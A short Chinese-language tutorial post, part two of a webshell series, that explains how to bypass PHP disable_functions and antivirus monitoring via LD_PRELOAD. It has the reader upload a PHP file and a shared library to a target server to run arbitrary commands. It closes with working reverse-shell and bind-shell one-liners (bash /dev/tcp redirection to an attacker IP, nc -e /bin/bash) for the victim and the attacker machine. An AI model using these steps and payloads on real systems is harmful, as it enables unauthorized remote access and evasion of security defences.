webshell入门(二)
webshell绕安全模式执行命令
上一次讲了利用java的runtime.exce()方法执行任意代码，但是必然会受到各种杀毒软件的监控，本次学习一个绕过杀毒软件的webshell
参考网址：https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
在上面网址下载下安装包
把上图中的php和so文件上传到目标服务器上去，当我们访问该php页面。可以执行任意代码
根据提示，把参数传入
如上图：即可执行任意代码
ps：linux一行代码反弹webshell
1、 反向向反弹shell:
靶机: bash -i >& /dev/tcp/192.168.0.128/6666 0>&1
攻击机器: nc -lvp 6666
2、正向向反弹shell:
靶机: nc -lvvp 8888 -e /bin/bash
攻击机器: nc 192.168.0.128 8888